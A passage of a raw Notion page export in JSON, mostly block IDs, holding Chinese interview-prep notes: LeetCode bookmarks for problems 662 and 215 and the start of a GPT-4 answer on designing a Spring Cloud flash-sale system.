f0-b5e8-4a20-84a9-f55fe4f4a4d9","98976d60-507e-41eb-9a7a-7b596ddc3321","882a3580-0be9-40e6-82ac-4bab27c43ba2","02309e5e-08c3-4749-858a-8fa7c80d0dab","f804b57a-103a-4a96-8a5c-6fccdcf2a9c7","c32aa622-f15e-44a5-97f8-5df99fca48e2","4af9a0cc-ecec-4fb6-aa3d-690ee6d06b51","87461336-26b4-405a-b379-e2b02fe6d221","9da2714f-aa6c-4b74-b1f7-9614c5ff4b09","9058d545-c4c9-4402-9a3b-576d58ce4130","b7302dfd-0280-40eb-865d-dc48f6f0e269","502bf2e0-9d35-4d47-b565-ae4a9d69e944","b39e6166-90a9-4465-8073-7be3606c9e46","434354ac-7b65-4abe-8354-504ada01c2b1","62a9d1b5-1125-4eba-ba1c-4135e18c4a83","711c4e42-c8d6-43b2-9b4c-cb02485a4b97","00e21033-e31a-4bb1-a10b-988ccb3b641f","2d672bd7-599d-48ff-8364-fcb792ca9db2","1f4bc2de-b7ce-4e10-acc9-d7fac4c96fb6","e2322e43-e963-47ee-b2e4-63eff6cd8909","9e1f4135-c258-4d50-a41a-8628fafa06ff","b6b71e09-27aa-4152-ad9e-bfc53538962f","1456be54-5b0f-4d74-9e6d-bc9588dff4e2","9455e271-ba3a-4c7b-9008-2f8a846a7876","7d9a1253-4ca8-471f-b830-2f32456ff5c5","f4299ad8-b560-40e9-becd-583ee22a163a","6d611ac6-7817-44c4-872f-91939752f346","861ddcc1-518c-40dd-9aec-4b1653dd9b2f","4fe06e0a-988f-45eb-8ae6-7d74bb4c6f48","f9a28f5b-20ee-45b1-bbeb-882f1d18598a","1d2e562e-e2ff-422f-a5dd-1d3f9d6e372b","3544d2b5-f23e-4f41-a2bc-4be91c31ab61","adf42e64-ea16-4c32-8bbc-cfe3428a10c2","7a0fc2f4-69a5-466a-bb84-d67440dab4c5","87f05ca5-494a-4d30-8967-4cdea837b9c6","dca20905-e5ed-4fd0-bc94-bad04a521c54","079003e7-3003-4205-bb70-47ee6de6c3a9","a5117771-720a-45c3-bce2-1ea60bfaadaf","f7ac0b7c-4e02-4d27-9211-fe35d2c7af0a","85b6dc8b-22e0-450a-bfd1-101302f4d1a4","ddbc08d5-afdd-4ce4-afec-6e3fb8328106","75f6c685-0009-4133-b82b-1b4f09052f42","6383b863-63cd-447d-92e6-5b4a93aa078c","c4247cc4-0a69-41d1-af74-e76ed7389b1b","3919e1a2-4dc6-40bb-a618-5bae4f8619b8","3017d86d-af6e-491d-911d-05897b109865","a0870cce-2487-4359-a5bc-1e24e23497b7","fd0ebc6d-e5bc-4f9f-beea-4eeea24b199c","81b95175-76c1-417c-8c94-007a9208277d","61a67d4b-1bc3-4056-8904-d05f0eef3c66","2e8129a2-e97f-4632-a4fc-12443036ef71","7a77d366-db86-41b5-a144-dc34cf4e6a83","7fac6471-5ec1-4e67-8387-30e92c6fc053","e38bf574-3b9c-4aab-a187-9f0257962b65","6b25396e-283d-4038-a956-9ae71b8ebf82","1945ff1b-f605-450a-83c0-ac0a3b286184","c96bcf4d-23f4-4998-81ec-80c85df71b91","d85ef88a-350b-4e56-b8a7-5e9f2f01cf4a","962cb662-c38b-4438-b3a4-df15d28b90f6","f32fa49e-4cf8-43de-a1a3-7f22588a18bb","0a3a5067-4a7c-4044-82d9-fa8cd828e3d4","48166259-1d2f-4ce3-927c-33061da94f03","bd849e8b-ff5b-493d-98b0-e3a5a9bd6a8e","13171ab9-3e39-4a7a-85c2-08d10e92698f","9cc800e8-289c-472d-ac58-022feda832c7","47e82160-ecbc-46bc-ac91-f39f0cff236b","ed9d4efb-59bf-4e29-a0fe-eafef875dd2b","d7bd43ee-d8e8-43cb-8a74-983a002c2342","b91fd63b-5e0f-4e82-9e21-b30d2e189152","43a2f8e0-1635-43be-97be-05f8806b6735","b733b4d6-6546-4f92-94c2-495c28098053","e2c9ce68-f03b-411a-9bd2-9ead8a71f125","718a42a7-4cea-4cde-8301-8cb5e90102fa","45417877-fae7-4b1a-a5ba-50d952910861","e416bcdd-6b48-4318-a3a5-562b1358d5a7","9f825b51-974d-4a57-b489-d88f03c7a43a","e6b65893-e042-416e-8cdf-b6fed61e9a45","6d3bc565-c3ca-4f60-840f-5c3eba79e119","117b0e27-b2d7-4315-968a-094fee850a1f","79b0ecb1-5769-4e5b-8847-2c641a7b377f","1d3127c9-2a09-4f0a-845f-b3eaf9b12bd9","8a5d4af5-a99b-4f40-af9e-76684d38765e","dc52d713-7845-495e-85fe-fb0feb9c67b7","3b53d0e0-8126-4164-b655-8c45bd2984f9","c8d1cb6f-2905-4968-a04b-afbe302affc7","73e4bd9d-053b-4dc6-bebd-73a95113dbc4","4d8d2022-d8b4-4815-92f4-e15848a1d846","8b93f5f7-7123-405d-8dab-ecb7c31e6e31","f5bfcd3d-0e72-426f-aab1-16a1b9e2a999","fb1ccdf2-c4a8-4532-8278-9fd4163a97c2","24dfb7b3-a799-4e55-aae4-9023737ebe80","25110e28-f012-4a67-b11d-c2dd4575be29","6934f9ce-191d-4ce5-942a-77a127fec3be","2b403179-1a6a-4aac-aa17-2b66a613eb81","dd7e9e63-9d72-4921-a188-09dcb450ed72","52fee632-7f3b-4822-8869-3d4d9efeaf4f","2ee590ab-3c01-4921-849c-1df256e6b694","ad8bd99e-80cf-4d5b-8510-bafd1ed7ec2e","41be8556-7f91-437a-ab77-b9e776129c21","3fe8d752-1a3d-4442-82bc-75f3806f198b","f9b1b730-e6c6-49ac-ba8d-24bf02e45a47","e8f8a167-7c4d-4588-8b83-0ab7d1048e59","27274856-82e7-4b78-9bdc-8d8ed30625dd","6ecc4296-2619-4578-8e40-609a814d0de7","a4084185-870f-42c7-8e6c-8c9e4b87a671","64669192-a93a-44d3-b393-29c22c1d3fdc","2a403baf-e553-4fc7-b3b9-1d7dde765b61","a286ebf3-c50c-4358-ae51-2a2a2a16643b","3f918c65-f4c0-480e-9126-9d0fd0b40262","80f1c4e4-2fba-4806-8df2-5f694e924e00","52016cbd-b135-4472-942b-3b6a8521ff95","a8ca918b-81d6-45da-a1e2-38b200536f30","3a47ceb0-d923-4bbd-af65-702f1dc0f219","6cf4cf2d-c501-43fa-acce-dbee44be5429","c69da88b-94f9-4294-9057-278e67df3198","787be75f-ddd4-4011-ab2d-0dbd140a8792","4a3bb805-8893-49f5-86a9-df810fdd5d4c","9c919695-0e1a-48ba-930d-ce3ba56d25e8","61707885-7623-4de5-83e5-9138401f14c3","327e92ea-2f1d-4a43-a8fd-e92c1e658647","00b1ae27-2fd7-4cd2-bd13-cefc2f64e17b","a1ea2fc0-a045-43b8-9ac8-587e0ff7e616","1a9f9684-b654-4cb7-823d-1e226f399d79","63276715-3dc1-4e19-be44-996b52e7695c","0ad28190-328c-447b-9107-64bc7fcbdb2d","3974a1bb-cf31-4f1e-b631-3a0fb934ceff","1b4b8568-8c76-4faf-a1d6-8fa8a938dd97","4c84eb93-a6b3-42ba-822c-a2dc9186b6c2","3f5df400-5167-4203-91d8-33e2722ccbfc","5b6c6b03-0801-4ddc-a359-217438f11ef1","2069a0e2-4075-4f93-9884-9827ffc4efd4","37a34f20-526e-4e14-aa46-54bd9f9a5dec","751971aa-d8b2-4988-8b97-71b0e053c4ac","56254ec1-5be1-4101-bf88-46ed83c065cb","0c31f2d7-c4de-42dc-974f-f69697a354ba","2883ad42-b2c2-49d4-abf2-73c3a1f7ec3b","4134a69f-f960-46bc-a919-1a6c5961a32c","679c0ac3-b61d-462f-873e-95512bf53534","15cbeb95-7d43-4517-bae7-502daadde547","36e3c748-966b-44c5-8a8c-2e7906b1d8bc","33aefaa8-d562-463a-9865-b1eb2438874b","7a8f86bf-f7d9-47df-b6a8-718ec1fac9ef","3a99eb90-cf2b-4430-950c-aa31ca4645ae","610daf1e-e643-477e-bbc9-64d181d54b59","43e6e2d8-91af-4046-8709-a48ab1e23e63","5f9f0901-b6e1-43bd-94e4-782fd86bd760","6bf427ba-1e60-498c-895f-74ab24dea6c0","c9816bcb-69e1-45bb-afde-ae9d2511c0c8","ba4c471e-c867-4bba-8372-1d9e42b1bbc4","c193321b-a43c-4abe-8028-017e19a39a4a","51086886-1e2f-41fa-a8fc-80b03b189de5","9b562033-6e23-4213-80f1-ca7c3aa9021b","43ec7bd2-97cd-45e0-b9b1-be0d13c2098b","8cc78461-688e-4ce8-90ae-e9d06a3fa2d0","e85ba214-079b-4106-bf6e-8c9cc04eda1a","8a2cdc35-7af5-4b9f-abf4-4c1ad8f8cb7a","3194faf0-5f20-4e64-9bd7-33ce3a00490a","0d691344-0287-41db-a4dc-6efc90121b26","990c119d-5e64-4248-bc7d-5c193e2d7173","caa2e594-3ded-44df-aed3-ccae00e00bff","d8e91a74-f393-4541-85de-b0d9994b8590","1dfb1717-e797-4dfa-8bc8-7576babf8a4c","60783dcb-447c-48fc-b679-53f61d23744a","a42aa0d6-da55-4e18-a76e-c80fee9aa7a4","a5a5fdaf-7afd-4e35-a57a-995e3aa65416","2532841f-e3ec-46de-9139-e66fce35b43b","0be83ed9-fdf0-4331-9ae0-d806fed28b34","1707fe6b-6b11-433e-a1bb-f672dab6a492","2e452753-191d-40b2-8615-088e30e75c05","065eeccd-fa3d-4cf5-954f-208414f1dd91","427d4469-ee94-49f4-9583-fe087a99d192","1becf461-3302-494a-8f73-dfc596c59193","2723fa6b-23e7-4815-936c-12f8b19010f3","ffda016d-a6e7-44be-a6af-9ece8a4d2a23","e598b28d-835a-4d58-a42b-82461b32f6bb","ea92814f-36ce-4304-8034-36e2c44c93f6","5a9d70c6-99d0-4352-bdb8-16791c1842b0","84e00d77-484c-4359-b1af-dde2f737f35d","cd62eeef-748c-4be8-b2cd-8da35a903164","7e0a27ac-b471-4178-bd51-ea8d15dc6469","a5fb770c-2029-4108-823c-42d958eeb6b1","2e55e855-2762-4667-bc2b-5b48115efcad","b56e8256-87ec-40bd-b09f-cdb1d402ce53","2bb428fa-2753-4e8a-9df2-15593379b9a7","0b3bd01e-b4fd-4b97-8a8d-16f92ab17fb6","faebcb8f-b5a2-4126-94a6-74d6bffdf43b","75079c74-3939-4a9c-9e6f-6dcc010671b1","42afb93b-82bd-435c-85e4-098c8f66fed9","a0edc27e-d223-4501-bd58-a7c375da5edf","ae37d0c4-d4fc-41a1-89e7-478a080019ae","52aef311-2398-4309-bc49-c4f966fa1f45","3c60c16e-c7a4-4ff1-a021-ef96f4d2e28f","15e6c3d3-453c-4aed-8a1f-fe517631ae0d","c516fdd3-b3b6-47b0-8ea0-72723230c1c0","cedea19a-39e4-414b-90d8-d430810d6431","f3607935-3534-47d8-9a67-6bd991bcc74d","ce613549-c399-42e2-b6f4-d40fc9f1c3a7","9955cfbd-4850-4ce7-a7bd-fc8299fd0619","98717c97-3877-4265-a90b-b0e54c956b95","00e0f457-b594-4314-a725-5cf0eb171fb1","12d42d70-85cd-410d-a2a3-28ab6f8591ae","471e2e8b-2905-49ef-8eec-0c69adf417c2","6800a277-744f-47b6-bbce-80d55edef89e","e0eeec95-ae50-49ff-b8fc-2e1d99a1ee82","41779ac5-4ab7-44ff-9ec1-ec0e552b26b8","44b4e904-beda-48d7-adbd-9fd5c07c9a45","3719e695-ca2a-46c6-8581-ccddf01dd42a","f5748415-9a54-4ec1-a39e-70b07c43a2d3","a3d78ec6-0f34-4e65-ac1c-8991f373c006","d6e00fa4-d290-4908-8a5b-1e44bdcedb9a","90930151-7c67-4de3-9c46-793dc08f662f","82c86df4-4397-4f8d-bf29-0e191a49b912","e3648d0a-8f62-4525-828a-aa38ab6bea3f","ad8f091b-438c-481b-bd2a-46c00310d6af","d746ed99-61e4-42cf-8832-80680a2f5988","c92967e3-ab81-4ce6-9c75-678738bbc7d1","7a15eca8-ddf4-44bb-aec6-e5ab1bdd99c5","faf949fd-61b3-4c5a-8ef0-03d42cd909cf","907eaab2-2a8e-405e-b92c-9383795fd26c","5a5537cd-512e-47f6-803e-33c3e1869b71","5912ce03-87b1-4532-9eca-1ec30c4f8a45","27026dfd-1bfc-4a90-8a52-072ab21ec7af","9265e4e3-9a53-4787-a6bb-704190f54122","00d4479f-81cb-48af-bc7f-89e84970d19e","501d0801-cbe6-436a-a070-a3135f667555","cadb7d65-b3f4-4cde-9067-b0d7692ff1c1","746610d1-41b6-4b75-8059-42feabb87562","27a5e7b0-8bb8-4e48-b340-cc5e400cd3ac","6473a9c8-e013-486e-a3bb-1ed6e272948b","36015b95-8686-4982-a7fa-575f3f5b5f4d","ceaf9c24-c2c8-4f8d-9f98-c975b6a7ad76","98c6e6a3-290d-47f1-94f5-f79afdedc1bd","a302cb8a-aab9-4b4a-81a3-4f804903b6a7","5030f909-9491-4faa-bf03-43aa0377e2ca","7b8f8ee3-c184-470b-b5ac-994dc7b08117","dfb96d40-f9a5-42fd-bf6c-97ae0f410899","854248e3-f012-4f56-bce7-4ecc81887fe0","723782b0-b99f-4268-bf5d-4a80838aa0cb","93798a96-651f-4c53-8e4f-fe95eb18029b","dc0bcb1b-b278-48e8-bf28-546af8288389","9608e593-f9b8-484c-be6e-0a8d0fd9fca6","26792acc-7d13-438c-ad28-f82c7af4efbc","9c2f6448-3dfd-4228-a8c0-48f5799b2cf4","55c4dd0a-8dea-4699-ae95-926bd9cab471","91e31a11-07f1-4df3-9c0c-d32bcf7227cc","33bc32d8-ea4c-4041-b237-c150724db36e","6fb2fd9b-2595-45d7-9e41-9108999e4d99","8e19783b-6a0c-46db-b3c1-1b62c6c39ca3","b620e8b7-858f-4362-87fa-f2f8c933c7a4","53fee745-cd9b-49f6-8be3-32cd08204a0d","ae2842c8-73d8-40d2-b348-a7af2d76b055","966d6414-add4-49e7-9c3d-468832755819","fdaebb18-427d-4fb8-99ad-619b164b58df","f96465f5-7a8b-4d1c-9bb0-74b535a1b628","71edb051-4fb4-462d-8532-c2a3ffffcfb5","d6974531-d3b3-4cfd-9198-b8454fb2c249","ed7a22d4-4fb4-4a8a-9380-9f05f4b15404","d3aba15b-095d-416d-badb-aa7f0aa79eeb","d3b9335c-d396-4f37-9f71-16c73430de64","1679a121-58c9-4910-b66b-994c2999fab2","e0aec8b1-4f7d-4383-a179-29ce91ad649d","65625213-288e-476e-9d1a-67ef298b83e0","0c6fb3ad-96ad-4810-8562-a871cba5f18e","a1bed919-3ddf-45b2-9510-fe8fa9d4c76f","9aac1b04-c473-4623-8583-63bd5814942e","59f3ab0a-7af8-4017-9409-411f7fab3467","54a10feb-eb82-4f0d-b8b2-f47380d85ca4","cd558360-d8c9-4e94-a9e9-5763359bcab5","178eca01-4476-47a5-9f09-71f182055321","be768174-9882-4675-9ce2-3225d6b821e9","aa760448-48c4-405c-a1e0-6331b4e58ef4","c15e9201-afbe-45c0-8ef2-f404b0060e97","58b0a2ca-a5b6-496b-9ae2-763a0764f01e","cfc62533-db26-4ff1-bf5a-370ba47259d2","09b7a032-42a4-4f07-a749-a178b90432c7","e6def999-3fef-48a6-a0c7-6e423ff0fcef","3c95889d-8816-49af-be7e-87fa60cca209","e989ef8e-ba36-4492-8bf7-c800ea215133","2b30fdea-aaf6-4f18-b21f-3d0d6444da73","a4a15b3a-2715-4e44-8c7b-8b6abbb59152","10d6f3e2-726a-4f7c-8f2c-d78b5a0bd9e3","1de1c413-de15-483c-a600-8ecb0798aa07","47d28b5a-3335-4ca5-93ea-fb6f7ad2ae15","660dd60b-81f9-48a7-85a6-fa38ad3cdf58","4d53bb8a-ba19-4874-ba44-e308227b8170","1d06df64-fa33-47db-9dd1-7d21670175f8","bf2aebe2-92f8-4556-a0ec-ec01bd2e16ef","3fa6de04-3680-44ff-8148-57a55db46d87","9a29da8c-c945-4f42-9577-3fdcd38af933","89264c00-5407-49b3-8525-812994752253","7fbae67b-78d1-40d1-a68c-fd984e349cca","a7455e62-6660-482e-ba23-e534b11c3008","fa769d98-f4f3-4506-874a-e14e3ae3d5e9","39bd2e2d-27ac-4362-9791-ddd9a5469d1f","996704a5-d3f2-4c14-8574-d8078b218b30","7a9b4c33-20e3-458c-9bb3-9b4210ede657","13699824-a525-4ff0-9edf-4d3111824bac","f0ff9bed-ae72-4e84-9ce9-0a6f976b6160","88dc58a8-b5c7-4f50-a9e3-a3839b637ccb","bb432472-934d-4a8e-8933-996db5b994b5","db0bd158-c878-4687-b13d-654a9de18cd1","bad1ac53-c6cb-4c06-8af8-bebbe9c6cb18","58db0c21-fad6-4157-8f10-62714e1d4e50","46424f60-b8b7-43fd-8197-fb7ac6b3ecb8","af1983de-6ec6-4309-8d5f-098f070885f7","d2e4efba-43c1-4c89-8024-694a7ac12630","9fa90bd2-4c6d-42e9-8f9a-9abc269f6736","176a8c64-8b0e-4893-ad7f-9c6d3d1eaa07","d74e77bb-6737-4403-ab2d-befd9af03c09","e085e9eb-7f5b-4660-80c6-b615e2baddc4","5c3d6abd-cddc-4cfb-9a1b-43312e37885f","e9b2019d-85bf-4f22-9603-39e9fb391ef3","47fadf5e-1a5c-4954-9e18-f4ec413f9bf7","858e6e83-fdcb-430e-a312-4fba35c62f16","0a7ed53b-47d7-436e-abe8-868de3d4ebbe","ea6dacc9-d3d2-4d8e-a3ea-56db91ea8842","5ee0d17e-46ce-4124-aa38-895caf65081b"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1712556016393,"last_edited_time":1712596089011,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"d3a0bda2-a966-4861-aa0f-7a641ec5b633":{"value":{"id":"d3a0bda2-a966-4861-aa0f-7a641ec5b633","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556018464,"last_edited_time":1712556018464,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"1fe2c7b1-d200-44eb-b559-5a1f9ad1b765":{"value":{"id":"1fe2c7b1-d200-44eb-b559-5a1f9ad1b765","type":"callout","properties":{"title":[["以下内容基于GPT-4模型"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"2bc93ec4-03c5-46c2-b25e-d9ca68f233e5","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556139834,"last_edited_time":1712556139838,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"2bc93ec4-03c5-46c2-b25e-d9ca68f233e5"}},"a59214f9-df56-4a93-9829-367651e0dcb0":{"value":{"id":"a59214f9-df56-4a93-9829-367651e0dcb0","type":"header","properties":{"title":[["问题"]]},"format":{"copied_from_pointer":{"id":"0302269d-0e3e-4e6f-a368-e18a3a2ec8e0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556139835,"last_edited_time":1712556139838,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"0302269d-0e3e-4e6f-a368-e18a3a2ec8e0"}},"80097f4c-9b86-48bd-9936-2ec481b2c9ab":{"value":{"id":"80097f4c-9b86-48bd-9936-2ec481b2c9ab","type":"sub_header","properties":{"title":[["1.LeetCode662 二叉树最长直径"]]},"format":{"copied_from_pointer":{"id":"fa204a88-cdff-4565-a19c-6fe2d4ef75e7","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556139835,"last_edited_time":1712595972456,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"fa204a88-cdff-4565-a19c-6fe2d4ef75e7"}},"9fc5fcd6-3fb3-4c4c-bce8-af9b81641905":{"value":{"id":"9fc5fcd6-3fb3-4c4c-bce8-af9b81641905","type":"bookmark","properties":{"link":[["https://leetcode.cn/problems/maximum-width-of-binary-tree/"]],"title":[["662. 二叉树最大宽度 - 力扣(LeetCode)"]],"description":[["662. 二叉树最大宽度 - 给你一棵二叉树的根节点 root ,返回树的 最大宽度 。 树的 最大宽度 是所有层中最大的 宽度 。 每一层的 宽度 被定义为该层最左和最右的非空节点(即,两个端点)之间的长度。将这个二叉树视作与满二叉树结构相同,两端点间会出现一些延伸到这一层的 null 节点,这些 null 节点也计入长度。 题目数据保证答案将会在  32 位 带符号整数范围内。   示例 1: [https://assets.leetcode.com/uploads/2021/05/03/width1-tree.jpg] 输入:root = [1,3,2,5,3,null,9] 输出:4 解释:最大宽度出现在树的第 3 层,宽度为 4 (5,3,null,9) 。 示例 2: [https://assets.leetcode.com/uploads/2022/03/14/maximum-width-of-binary-tree-v3.jpg] 输入:root = [1,3,2,5,null,null,9,6,null,7] 输出:7 解释:最大宽度出现在树的第 4 层,宽度为 7 (6,null,null,null,null,null,7) 。 示例 3: [https://assets.leetcode.com/uploads/2021/05/03/width3-tree.jpg] 输入:root = [1,3,2,5] 输出:2 解释:最大宽度出现在树的第 2 层,宽度为 2 (3,2) 。   提示: * 树中节点的数目范围是 [1, 3000] * -100 <= Node.val <= 100"]]},"format":{"bookmark_icon":"https://leetcode.cn/favicon.ico","bookmark_cover":"https://static.leetcode-cn.com/cn-legacy-assets/images/LeetCode_Sharing.png"},"created_time":1712595973817,"last_edited_time":1712595973817,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"91b7ef81-c289-41fe-a8c9-5046d3f41923":{"value":{"id":"91b7ef81-c289-41fe-a8c9-5046d3f41923","type":"sub_header","properties":{"title":[["2.LeetCode215 TOPK"]]},"format":{"copied_from_pointer":{"id":"33494c72-d0a0-4a3d-bd5d-0a18e50f5f2d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556139836,"last_edited_time":1712556228209,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"33494c72-d0a0-4a3d-bd5d-0a18e50f5f2d"}},"a4de193c-c56c-404f-a23b-c7aaee0940d2":{"value":{"id":"a4de193c-c56c-404f-a23b-c7aaee0940d2","type":"bookmark","properties":{"link":[["https://leetcode.cn/problems/kth-largest-element-in-an-array/description/"]],"title":[["215. 数组中的第K个最大元素 - 力扣(LeetCode)"]],"description":[["215. 数组中的第K个最大元素 - 给定整数数组 nums 和整数 k,请返回数组中第 k 个最大的元素。 请注意,你需要找的是数组排序后的第 k 个最大的元素,而不是第 k 个不同的元素。 你必须设计并实现时间复杂度为 O(n) 的算法解决此问题。   示例 1: 输入: [3,2,1,5,6,4], k = 2 输出: 5 示例 2: 输入: [3,2,3,1,2,4,5,5,6], k = 4 输出: 4   提示: * 1 <= k <= nums.length <= 105 * -104 <= nums[i] <= 104"]]},"format":{"bookmark_icon":"https://leetcode.cn/favicon.ico","bookmark_cover":"https://static.leetcode-cn.com/cn-legacy-assets/images/LeetCode_Sharing.png"},"created_time":1712595993509,"last_edited_time":1712595993510,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ffa13876-3f06-4ee3-ab91-e5ce88d2b005":{"value":{"id":"ffa13876-3f06-4ee3-ab91-e5ce88d2b005","type":"sub_header","properties":{"title":[["3.秒杀场景设计"]]},"created_time":1712556228439,"last_edited_time":1712556254024,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c10c635e-6308-4f80-b0bc-185f8a6c6096":{"value":{"id":"c10c635e-6308-4f80-b0bc-185f8a6c6096","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"713fc33e-2158-4e60-9f44-02105a6c9d96","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556228743,"last_edited_time":1712556228746,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"713fc33e-2158-4e60-9f44-02105a6c9d96"}},"6a7d5026-4140-41ce-9e62-7eeaf2f484a1":{"value":{"id":"6a7d5026-4140-41ce-9e62-7eeaf2f484a1","type":"quote","properties":{"title":[["Spring cloud项目现在要做一个秒杀场景的需求,给我从app端到服务端设计一套可用的方案"]]},"format":{"copied_from_pointer":{"id":"2736da5d-124c-461f-a178-086f532d9d10","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556228743,"last_edited_time":1712557899643,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"2736da5d-124c-461f-a178-086f532d9d10"}},"542ba936-d632-43cb-a93b-9658bddd7720":{"value":{"id":"542ba936-d632-43cb-a93b-9658bddd7720","type":"text","properties":{"title":[["在设计一个秒杀系统的时候,需要考虑以下几个关键因素:高并发、系统可用性和数据一致性。"]]},"created_time":1712557905382,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"93ac5e04-d279-4854-949f-3ff531979b16":{"value":{"id":"93ac5e04-d279-4854-949f-3ff531979b16","type":"text","properties":{"title":[["下面是一个基于Spring Cloud的秒杀系统的设计方案:"]]},"created_time":1712557905382,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2777df4b-687f-4398-ab66-4aa9f854f5f0":{"value":{"id":"2777df4b-687f-4398-ab66-4aa9f854f5f0","type":"numbered_list","properties":{"title":[["前端(App端):",[["b"]]]]},"content":["98d80c1e-edbc-485e-8212-21db16d5bc70"],"created_time":1712557905383,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c4832952-7105-470c-9f44-2e3780516402":{"value":{"id":"c4832952-7105-470c-9f44-2e3780516402","type":"numbered_list","properties":{"title":[["后端(服务端):",[["b"]]]]},"content":["48e8ef13-2201-4c91-bc1b-e7f22e4daa15","f9f8ae47-ae99-4940-a025-36a86a644c0b","be79e573-cc36-40d9-a5d8-f07e3fc87d89","102883f2-de79-470f-8f4c-d4f49b76ade9","e6520c9f-aea2-4a4d-a212-01a66ce73df7","357c774d-d232-4d35-8fb5-c0c08ec45a46","d3c51997-2ea0-45e6-9ba9-266590ea8734"],"created_time":1712557905384,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e4b5d6a3-a30f-40a9-885a-b06e970843b0":{"value":{"id":"e4b5d6a3-a30f-40a9-885a-b06e970843b0","type":"text","properties":{"title":[["具体的秒杀流程可以设计如下:"]]},"created_time":1712557905384,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"623c0c4b-f1a0-4c19-8685-adc89f79cf27":{"value":{"id":"623c0c4b-f1a0-4c19-8685-adc89f79cf27","type":"numbered_list","properties":{"title":[["用户发起秒杀请求,请求首先经过Nginx,由Nginx做负载均衡将请求转发到Spring Cloud Gateway。"]]},"created_time":1712557905384,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"8ef4c41b-eb08-448e-8bb2-37576638a1dd":{"value":{"id":"8ef4c41b-eb08-448e-8bb2-37576638a1dd","type":"numbered_list","properties":{"title":[["Spring Cloud 